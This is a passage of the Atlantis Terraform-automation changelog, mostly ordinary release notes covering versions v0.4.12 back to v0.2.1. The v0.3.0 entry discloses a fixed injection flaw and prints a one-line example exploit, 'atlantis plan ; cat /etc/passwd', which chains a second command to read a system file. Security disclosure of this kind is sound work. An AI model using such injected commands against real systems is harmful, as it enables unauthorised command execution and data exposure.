/etc/passwd ``` The `w` group permission was added so that in OpenShift, the random uid can write their own login entry (https://github.com/runatlantis/atlantis/blob/main/docker-entrypoint.sh#L28) which is required because `terraform` expects the running user to have an entry in `/etc/passwd`. ## Downloads * [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.12/atlantis_darwin_amd64.zip) * [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.12/atlantis_linux_386.zip) * [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.12/atlantis_linux_amd64.zip) * [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.12/atlantis_linux_arm.zip) ## Docker [`runatlantis/atlantis:v0.4.12`](https://hub.docker.com/r/runatlantis/atlantis/tags/) # v0.4.11 ## Description Medium sized release that updates the Terraform version and makes `terraform plan` output smaller by removing the `Refreshing...` output. Diff: https://github.com/runatlantis/atlantis/compare/v0.4.10...v0.4.11 ## Features * Upgraded Docker image to use Terraform 0.11.10 * `terraform plan` output is shorter now thanks to remove the `Refreshing...` output ([#339](https://github.com/runatlantis/atlantis/pull/339)) * Project names specified in `atlantis.yaml` can now contain `/`'s. This is useful if you want to name your projects similar to the directories they're in. (Fixes [#253](https://github.com/runatlantis/atlantis/issues/253)) * Added new flag `--silence-whitelist-errors` which prevents Atlantis from comment back on pull requests from non-whitelisted repos. This is useful if you want to add the Atlantis webhook to a whole organization and then control which repos are actioned on via the whitelist. (Fixes [#312](https://github.com/runatlantis/atlantis/issues/312)) * The message when the project is locked is now more helpful. ([#336](https://github.com/runatlantis/atlantis/pull/336)) * Run `terraform plan` with `-var atlantis_repo_owner=runatlantis -var atlantis_repo_name=atlantis -var atlantis_pull_num=10` (if the repo was runatlantis/atlantis) ([#300](https://github.com/runatlantis/atlantis/pull/300)) ## Bugfixes * Quote plan filenames so that Bitbucket projects with spaces in their names still work (Fixes [#302](https://github.com/runatlantis/atlantis/issues/302)) ## Backwards Incompatibilities / Notes: * Atlantis now runs `terraform plan` with ```bash -var atlantis_repo_owner=runatlantis \ -var atlantis_repo_name=atlantis \ -var atlantis_pull_num=10 ``` (in this example the repo that Atlantis is running on is runatlantis/atlantis). If you were using those variables in your terraform code: ```hcl variable "atlantis_repo_owner" { default = "my_default" } ``` Then Atlantis will be overriding those variables with its own values. To prevent this, you need to rename your variables. If you aren't using those variables then this change won't affect you. ## Downloads * [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.11/atlantis_darwin_amd64.zip) * [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.11/atlantis_linux_386.zip) * [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.11/atlantis_linux_amd64.zip) * [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.11/atlantis_linux_arm.zip) ## Docker [`runatlantis/atlantis:v0.4.11`](https://hub.docker.com/r/runatlantis/atlantis/tags/) # v0.4.10 ## Description Small bugfix release to fix issues with new comment format. Diff: https://github.com/runatlantis/atlantis/compare/v0.4.9...v0.4.10 ## Features None ## Bugfixes * Fix bad comment rendering ([#294](https://github.com/runatlantis/atlantis/issues/294)) * Fix `plan` not working on Bitbucket Server when repo owner contains spaces ([#290](https://github.com/runatlantis/atlantis/issues/290)) ## Backwards Incompatibilities / Notes: None ## Downloads * [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.10/atlantis_darwin_amd64.zip) * [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.10/atlantis_linux_386.zip) * [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.10/atlantis_linux_amd64.zip) * [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.10/atlantis_linux_arm.zip) ## Docker [`runatlantis/atlantis:v0.4.10`](https://hub.docker.com/r/runatlantis/atlantis/tags/) # v0.4.9 ## Description This release is mostly focused on changing how comments look. Terraform output is now automatically hidden if it's over 12 lines long: ![https://user-images.githubusercontent.com/1034429/45580771-d4603b80-b849-11e8-8c4b-5984bd0bff7f.png](https://user-images.githubusercontent.com/1034429/45580771-d4603b80-b849-11e8-8c4b-5984bd0bff7f.png) Also the red and green highlighting for added and removed resources is fixed: ![https://user-images.githubusercontent.com/1034429/45580777-d9bd8600-b849-11e8-8f2d-867fbf4e72d7.png](https://user-images.githubusercontent.com/1034429/45580777-d9bd8600-b849-11e8-8f2d-867fbf4e72d7.png) Diff: https://github.com/runatlantis/atlantis/compare/v0.4.8...v0.4.9 ## Features * Terraform output over 12 lines is hidden in comment until expanded * `terraform plan` output is highlighted correctly * Terraform is now executed with `-var atlantis_repo={repo name} -var atlantis_pull_num {pull num}`. This will allow users to trace Atlantis `terraform` executions in CloudTrail back to a specific user and pull request if using assume role by creating a specific name for the session Terraform initiates. ``` provider "aws" { assume_role { role_arn = "arn:aws:iam::ACCOUNT_ID:role/ROLE_NAME" session_name = "${var.atlantis_user}-${var.atlantis_repo}-${var.atlantis_pull_num}" } } ``` ## Bugfixes * Run terraform with `-input=false` ([#268](https://github.com/runatlantis/atlantis/issues/268)). ## Backwards Incompatibilities / Notes: * We set two new Terraform variables: `atlantis_repo` and `atlantis_pull_num`. If you were using variables with those names in your code you will need to rename them in your code. ## Downloads * [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.9/atlantis_darwin_amd64.zip) * [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.9/atlantis_linux_386.zip) * [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.9/atlantis_linux_amd64.zip) * [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.9/atlantis_linux_arm.zip) ## Docker [`runatlantis/atlantis:v0.4.9`](https://hub.docker.com/r/runatlantis/atlantis/tags/) # v0.4.8 ## Description Security release to upgrade the Docker image to the latest version of Alpine linux that fixes this bug: https://justi.cz/security/2018/09/13/alpine-apk-rce.html Diff: https://github.com/runatlantis/atlantis/compare/v0.4.7...v0.4.8 ## Features None ## Bugfixes * Change server startup message to INFO from WARN level. ## Backwards Incompatibilities / Notes: None ## Downloads * [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.8/atlantis_darwin_amd64.zip) * [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.8/atlantis_linux_386.zip) * [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.8/atlantis_linux_amd64.zip) * [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.8/atlantis_linux_arm.zip) ## Docker [`runatlantis/atlantis:v0.4.8`](https://hub.docker.com/r/runatlantis/atlantis/tags/) # v0.4.7 ## Description Support GitLab repos nested under multiple levels and use the latest version of Terraform: 0.11.8! ## Features * Support GitLab groups which allow repos to be nested under multiple levels, ex. `gitlab.com/owner/group/subgroup/subsubgroup/repo` * Use latest version of Terraform: 0.11.8 in Docker image ## Bugfixes * When running with `TF_LOG` set, Atlantis will start normally. Previously it would error out due to attempting to parse the stderr output of the `terraform version` command. ## Backwards Incompatibilities / Notes: None ## Downloads * [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.7/atlantis_darwin_amd64.zip) * [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.7/atlantis_linux_386.zip) * [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.7/atlantis_linux_amd64.zip) * [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.7/atlantis_linux_arm.zip) ## Docker [`runatlantis/atlantis:v0.4.7`](https://hub.docker.com/r/runatlantis/atlantis/tags/) # v0.4.6 ## Description Just a small bugfix release. ## Features None ## Bugfixes * If `terraform init` fails, include the failure logs in the comment posted back to the PR. ## Backwards Incompatibilities / Notes: None ## Downloads * [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.6/atlantis_darwin_amd64.zip) * [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.6/atlantis_linux_386.zip) * [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.6/atlantis_linux_amd64.zip) * [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.6/atlantis_linux_arm.zip) ## Docker [`runatlantis/atlantis:v0.4.6`](https://hub.docker.com/r/runatlantis/atlantis/tags/) # v0.4.5 ## Features * `atlantis apply` now applies **all** unapplied plans instead of just the plan in the root directory. ([#169](https://github.com/runatlantis/atlantis/issues/169)) * `atlantis plan` now plans **all** modified projects instead of just the root directory. * Plan comments now contain instructions for how to run apply or re-run plan. ## Bugfixes * Ignore approvals from the pull request author (Bitbucket Cloud only). Fixes ([#201](https://github.com/runatlantis/atlantis/issues/201)) * When double clicking on a GitHub comment, ex. ``` atlantis apply ``` GitHub would add two newlines to the end. If this was then pasted into a new comment, Atlantis would accept it because of the extra newlines. This has been fixed and the comment with two newlines will be accepted. ## Backwards Incompatibilities / Notes: * `atlantis apply` now applies **all** unapplied plans. Previously it would only apply the plan in the root directory and default workspace. * `atlantis plan` now plans **all** modified projects. Previously it would only run plan in the root directory and default workspace. ## Downloads * [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.5/atlantis_darwin_amd64.zip) * [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.5/atlantis_linux_386.zip) * [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.5/atlantis_linux_amd64.zip) * [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.5/atlantis_linux_arm.zip) ## Docker [`runatlantis/atlantis:v0.4.5`](https://hub.docker.com/r/runatlantis/atlantis/tags/) # v0.4.4 ## Features * Supports Bitbucket Server ([#190](https://github.com/runatlantis/atlantis/issues/190)). ## Bugfixes * Fix `/etc/hosts` not being respected ([#196](https://github.com/runatlantis/atlantis/issues/196)). ## Backwards Incompatibilities / Notes: None ## Downloads * [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.4/atlantis_darwin_amd64.zip) * [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.4/atlantis_linux_386.zip) * [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.4/atlantis_linux_amd64.zip) * [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.4/atlantis_linux_arm.zip) ## Docker [`runatlantis/atlantis:v0.4.4`](https://hub.docker.com/r/runatlantis/atlantis/tags/) # v0.4.3 ## Features * Supports Bitbucket Cloud (bitbucket.org) ([#30](https://github.com/runatlantis/atlantis/issues/30)). ## Bugfixes None ## Backwards Incompatibilities / Notes: None ## Downloads * [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.3/atlantis_darwin_amd64.zip) * [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.3/atlantis_linux_386.zip) * [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.3/atlantis_linux_amd64.zip) * [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.3/atlantis_linux_arm.zip) ## Docker [`runatlantis/atlantis:v0.4.3`](https://hub.docker.com/r/runatlantis/atlantis/tags/) # v0.4.2 ## Features * Don't comment on pull request if autoplan determines there are no projects to plan in. This was getting very noisy for users who use their repos for more than just Terraform ([#183](https://github.com/runatlantis/atlantis/issues/183)). ## Bugfixes None ## Backwards Incompatibilities / Notes: None ## Downloads * [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.2/atlantis_darwin_amd64.zip) * [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.2/atlantis_linux_386.zip) * [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.2/atlantis_linux_amd64.zip) * [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.2/atlantis_linux_arm.zip) ## Docker [`runatlantis/atlantis:v0.4.2`](https://hub.docker.com/r/runatlantis/atlantis/tags/) # v0.4.1 ## Features * Add new `/healthz` endpoint for health checking in Kubernetes ([#102](https://github.com/runatlantis/atlantis/issues/102)) * Set `$PLANFILE` environment variable to expected location of plan file when running custom steps ([#168](https://github.com/runatlantis/atlantis/issues/168)) * This enables overriding the command Atlantis uses to `plan` and substituting your own or piping through a custom script. * Changed default pattern to detect changed files to `*.tf*` from `*.tf` in order to trigger on `.tfvars` files. ## Bugfixes None ## Backwards Incompatibilities / Notes: None ## Downloads * [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.1/atlantis_darwin_amd64.zip) * [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.1/atlantis_linux_386.zip) * [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.1/atlantis_linux_amd64.zip) * [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.1/atlantis_linux_arm.zip) ## Docker [`runatlantis/atlantis:v0.4.1`](https://hub.docker.com/r/runatlantis/atlantis/tags/) # v0.4.0 ## Features * Autoplanning - Atlantis will automatically run `plan` on new pull requests and when new commits are pushed to the pull request. * New repository `atlantis.yaml` format that supports: * Complete customization of plans run * Single config file for whole repository * Controlling autoplanning * Moved docs to standalone website from the README. * Fixes: * [#113](https://github.com/runatlantis/atlantis/issues/113) * [#50](https://github.com/runatlantis/atlantis/issues/50) * [#46](https://github.com/runatlantis/atlantis/issues/46) * [#39](https://github.com/runatlantis/atlantis/issues/39) * [#28](https://github.com/runatlantis/atlantis/issues/28) * [#26](https://github.com/runatlantis/atlantis/issues/26) * [#4](https://github.com/runatlantis/atlantis/issues/4) ## Bugfixes ## Backwards Incompatibilities / Notes: - The old `atlantis.yaml` config file format is not supported. You will need to migrate to the new config format, see: https://www.runatlantis.io/docs/upgrading-atlantis-yaml.html - To use the new config file, you must run Atlantis with `--allow-repo-config`. - Atlantis will now try to automatically plan. To disable this, you'll need to create an `atlantis.yaml` file as follows: ```yaml version: 2 projects: - dir: mydir autoplan: enabled: false ``` - `atlantis apply` no longer applies all un-applied plans but instead applies only the plan in the root directory and default workspace. This will be reverted in an upcoming release - `atlantis plan` no longer plans in all modified projects but instead runs plan only in the root directory and default workspace. This will be reverted in an upcoming release. ## Downloads * [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.0/atlantis_darwin_amd64.zip) * [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.0/atlantis_linux_386.zip) * [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.0/atlantis_linux_amd64.zip) * [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.0/atlantis_linux_arm.zip) ## Docker [`runatlantis/atlantis:v0.4.0`](https://hub.docker.com/r/runatlantis/atlantis/tags/) # v0.3.11 ## Features None ## Bugfixes * If the `TF_LOG` environment variable is set, should still be able to start. Previously `atlantis server` would exit immediately because it couldn't parse the output of `terraform version`. ## Backwards Incompatibilities / Notes: None ## Downloads * [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.3.11/atlantis_darwin_amd64.zip) * [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.3.11/atlantis_linux_386.zip) * [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.3.11/atlantis_linux_amd64.zip) * [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.3.11/atlantis_linux_arm.zip) ## Docker [`runatlantis/atlantis:v0.3.11`](https://hub.docker.com/r/runatlantis/atlantis/tags/) # v0.3.10 ## Features * Rename `atlantis bootstrap` to `atlantis testdrive` to make it clearer that it doesn't set up Atlantis for you. Fixes ([#129](https://github.com/runatlantis/atlantis/issues/129)). * Atlantis will now comment on a pull request when a plan/lock is discarded from the Atlantis UI. Fixes ([#27](https://github.com/runatlantis/atlantis/issues/27)). ## Bugfixes * Fix issue during `atlantis bootstrap` where ngrok tunnel took a long time to start. Atlantis will now wait until it sees the expected log entry before continuing. Fixes ([#92](https://github.com/runatlantis/atlantis/issues/92)). * Fix missing error checking during `atlantis bootstrap`. ([#130](https://github.com/runatlantis/atlantis/pulls/130)). ## Backwards Incompatibilities / Notes: * `atlantis bootstrap` renamed to `atlantis testdrive` ## Downloads * [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.3.10/atlantis_darwin_amd64.zip) * [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.3.10/atlantis_linux_386.zip) * [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.3.10/atlantis_linux_amd64.zip) * [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.3.10/atlantis_linux_arm.zip) ## Docker [`runatlantis/atlantis:v0.3.10`](https://hub.docker.com/r/runatlantis/atlantis/tags/) # v0.3.9 ## Features * None ## Bugfixes * Fix GitLab approvals not actually checking approval ([#114](https://github.com/runatlantis/atlantis/issues/114)) ## Backwards Incompatibilities / Notes: * None ## Downloads * [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.3.9/atlantis_darwin_amd64.zip) * [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.3.9/atlantis_linux_386.zip) * [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.3.9/atlantis_linux_amd64.zip) * [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.3.9/atlantis_linux_arm.zip) # v0.3.8 ## Features * Terraform 0.11.7 in Docker image * Docker build now verifies terraform install via checksum ## Bugfixes * None ## Backwards Incompatibilities / Notes: * None ## Downloads * [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.3.8/atlantis_darwin_amd64.zip) * [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.3.8/atlantis_linux_386.zip) * [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.3.8/atlantis_linux_amd64.zip) * [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.3.8/atlantis_linux_arm.zip) # v0.3.7 ## Bugfixes * `--repo-whitelist` is now case insensitive. Fixes ([#95](https://github.com/runatlantis/atlantis/issues/95)). ## Backwards Incompatibilities / Notes: * None ## Downloads * [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.3.7/atlantis_darwin_amd64.zip) * [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.3.7/atlantis_linux_386.zip) * [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.3.7/atlantis_linux_amd64.zip) * [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.3.7/atlantis_linux_arm.zip) # v0.3.6 ## Features * `atlantis server -h` has newlines between flags so it's easier to read ([#91](https://github.com/runatlantis/atlantis/issues/91)). ## Bugfixes * `atlantis bootstrap` uses a custom ngrok config file so it should work even if the user is already running another ngrok tunnel ([#93](https://github.com/runatlantis/atlantis/issues/93)). ## Backwards Incompatibilities / Notes: * None ## Downloads * [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.3.6/atlantis_darwin_amd64.zip) * [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.3.6/atlantis_linux_386.zip) * [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.3.6/atlantis_linux_amd64.zip) * [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.3.6/atlantis_linux_arm.zip) # v0.3.5 ## Features * Log a warning if unable to update commit status. ([#84](https://github.com/runatlantis/atlantis/issues/84)) ## Backwards Incompatibilities / Notes: * None ## Downloads * [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.3.5/atlantis_darwin_amd64.zip) * [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.3.5/atlantis_linux_386.zip) * [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.3.5/atlantis_linux_amd64.zip) * [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.3.5/atlantis_linux_arm.zip) # v0.3.4 ## Description This release delivers some speed improvements through caching plugins and not running `terraform workspace select` unnecessarily. In my testing it saves ~20s per run. ## Features * All config flags can now be specified by environment variables. Fixes ([#38](https://github.com/runatlantis/atlantis/issues/38)). * Completed thanks to @psalaberria002! * Run terraform with the `TF_PLUGIN_CACHE_DIR` env var set. Fixes ([#34](https://github.com/runatlantis/atlantis/issues/34)). * This will cache plugins and make `terraform init` faster. Terraform will still download new versions of plugins. See https://www.terraform.io/docs/configuration/providers.html#provider-plugin-cache for more details. * In my testing this saves >10s per run. * Run terraform with `TF_IN_AUTOMATION=true` so the output won't contain suggestions to run commands that you can't run via Atlantis. ([#82](https://github.com/runatlantis/atlantis/pull/82)). * Don't run `terraform workspace select` unless we actually need to switch workspaces. ([#82](https://github.com/runatlantis/atlantis/pull/82)). * In my testing this saves ~10s. ## Bug Fixes * Validate that workspace doesn't contain a path when running ex. `atlantis plan -w /jdlkj`. This was already not a valid workspace name according to Terraform. ([#78](https://github.com/runatlantis/atlantis/pull/78)). * Error out if `ngrok` is already running when running `atlantis bootstrap` ([#81](https://github.com/runatlantis/atlantis/pull/81)). ## Backwards Incompatibilities / Notes: * None ## Downloads * [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.3.4/atlantis_darwin_amd64.zip) * [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.3.4/atlantis_linux_386.zip) * [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.3.4/atlantis_linux_amd64.zip) * [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.3.4/atlantis_linux_arm.zip) # v0.3.3 ## Features * Atlantis version shown in footer of web UI. Fixes ([#33](https://github.com/runatlantis/atlantis/issues/33)). ## Bug Fixes * GitHub comments greater than the max length will be split into multiple comments. Fixes ([#55](https://github.com/runatlantis/atlantis/issues/55)). ## Backwards Incompatibilities / Notes: * None ## Downloads * [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.3.3/atlantis_darwin_amd64.zip) * [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.3.3/atlantis_linux_386.zip) * [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.3.3/atlantis_linux_amd64.zip) * [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.3.3/atlantis_linux_arm.zip) # v0.3.2 ## Description This release focused on some security issues reported by @eriksw, thanks Erik! By default, Atlantis will be more secure now and you'll have to specify which repositories you want it to work on. ## Features * New flag `--allow-fork-prs` added to `atlantis server` controls whether Atlantis will operate on pull requests from forks. Defaults to `false`. This flag was added because on a public repository anyone could open up a pull request to your repo and use your Atlantis install. * New mandatory flag `--repo-whitelist` added to `atlantis server` controls which repos Atlantis will operate on. This flag was added so that if a webhook secret is compromised (or you're not using webhook secrets) Atlantis won't be used on repos you don't control. * Warn if running `atlantis server` without any webhook secrets set. This is dangerous because without a webhook secret, an attacker could spoof requests to Atlantis. * Make CLI output more readable by setting a fixed column width. ## Bug Fixes * None ## Backwards Incompatibilities / Notes: * Must set `--allow-fork-prs` now if you want to run Atlantis on pull requests from forked repos. * Must set `--repo-whitelist` in order to start `atlantis server`. See `atlantis server --help` for how that flag works. ## Downloads * [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.3.2/atlantis_darwin_amd64.zip) * [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.3.2/atlantis_linux_386.zip) * [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.3.2/atlantis_linux_amd64.zip) * [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.3.2/atlantis_linux_arm.zip) # v0.3.1 ## Features * None ## Bug Fixes * Run apply in correct directory when using `-d` flag. Fixes ([#22](https://github.com/runatlantis/atlantis/issues/22)) ## Backwards Incompatibilities / Notes: * None ## Downloads * [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.3.1/atlantis_darwin_amd64.zip) * [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.3.1/atlantis_linux_386.zip) * [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.3.1/atlantis_linux_amd64.zip) * [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.3.1/atlantis_linux_arm.zip) # v0.3.0 ## Features * Fix security issue where Atlantis wasn't escaping the optional "extra args" that could be appended to comments ([#16](https://github.com/runatlantis/atlantis/pull/16)) * example exploit: `atlantis plan ; cat /etc/passwd` * Atlantis moved to new repo: `atlantisrun/atlantis`. Read why [here](https://medium.com/runatlantis/moving-atlantis-to-runatlantis-atlantis-on-github-4efc025bb05f) * New -w/--workspace and -d/--dir flags in comments ([#14](https://github.com/runatlantis/atlantis/pull/14)) * You can now specify which directory to plan/apply in, ex. `atlantis plan -d dir1/dir2` * Better feedback from atlantis when asking for help via comments, ex. `atlantis plan -h` ## Bug Fixes * Convert `--data-dir` paths to absolute from relative. Fixes ([#245](https://github.com/hootsuite/atlantis/issues/245)) * Don't run plan in the parent of `modules/` unless there's a `main.tf` present. Fixes ([#12](https://github.com/runatlantis/atlantis/issues/12)) ## Backwards Incompatibilities / Notes: * You must use the `-w` flag to specify a workspace when commenting now * Previously: `atlantis plan staging`, now: `atlantis plan -w staging` * You must use a double-dash between Atlantis flags and extra args to be appended to the terraform command * Previously: `atlantis plan -target=resource`, now: `atlantis plan -- -target=resource` * Atlantis will no longer run `plan` in the parent directory of `modules/` unless there is a `main.tf` in that directory. ## Downloads * [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.3.0/atlantis_darwin_amd64.zip) * [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.3.0/atlantis_linux_386.zip) * [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.3.0/atlantis_linux_amd64.zip) * [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.3.0/atlantis_linux_arm.zip) # v0.2.4 ## Features * SSL support added ([#233](https://github.com/hootsuite/atlantis/pull/233)) ## Bug Fixes * GitLab custom URL for GitLab Enterprise installations now works ([#231](https://github.com/hootsuite/atlantis/pull/231)) ## Backwards Incompatibilities / Notes: None ## Downloads * [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.2.4/atlantis_darwin_amd64.zip) * [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.2.4/atlantis_linux_386.zip) * [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.2.4/atlantis_linux_amd64.zip) * [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.2.4/atlantis_linux_arm.zip) # v0.2.3 ## Features None ## Bug Fixes * Use `env` instead of `workspace` for Terraform 0.9.* ## Backwards Incompatibilities / Notes: None ## Downloads * [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.2.3/atlantis_darwin_amd64.zip) * [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.2.3/atlantis_linux_386.zip) * [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.2.3/atlantis_linux_amd64.zip) * [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.2.3/atlantis_linux_arm.zip) # v0.2.2 ## Features * Terraform 0.11 is now supported ([#219](https://github.com/hootsuite/atlantis/pull/219)) * Safe shutdown on `SIGTERM`/`SIGINT` ([#215](https://github.com/hootsuite/atlantis/pull/215)) ## Bug Fixes None ## Backwards Incompatibilities / Notes: * The environment variables available when executing commands have changed: * `WORKSPACE` => `DIR` - this is the absolute path to the project directory on disk * `ENVIRONMENT` => `WORKSPACE` - this is the name of the Terraform workspace that we're running in (ex. default) * The schema for storing locks changed. Any old locks will still be held but you will be unable to discard them in the UI. **To fix this, either merge all the open pull requests before upgrading OR delete the `~/.atlantis/atlantis.db` file.** This is safe to do because you'll just need to re-run `plan` to get your plan back. ## Downloads * [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.2.2/atlantis_darwin_amd64.zip) * [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.2.2/atlantis_linux_386.zip) * [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.2.2/atlantis_linux_amd64.zip) * [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.2.2/atlantis_linux_arm.zip) # v0.2.1 ## Features * Don't ignore changes in `modules` directories anymore. ([#211](https://github.com/hootsuite/atlantis/pull/211)) ## Bug Fixes * Don't set `as_user` to true for Slack webhooks so we can integrate as a workspace app. 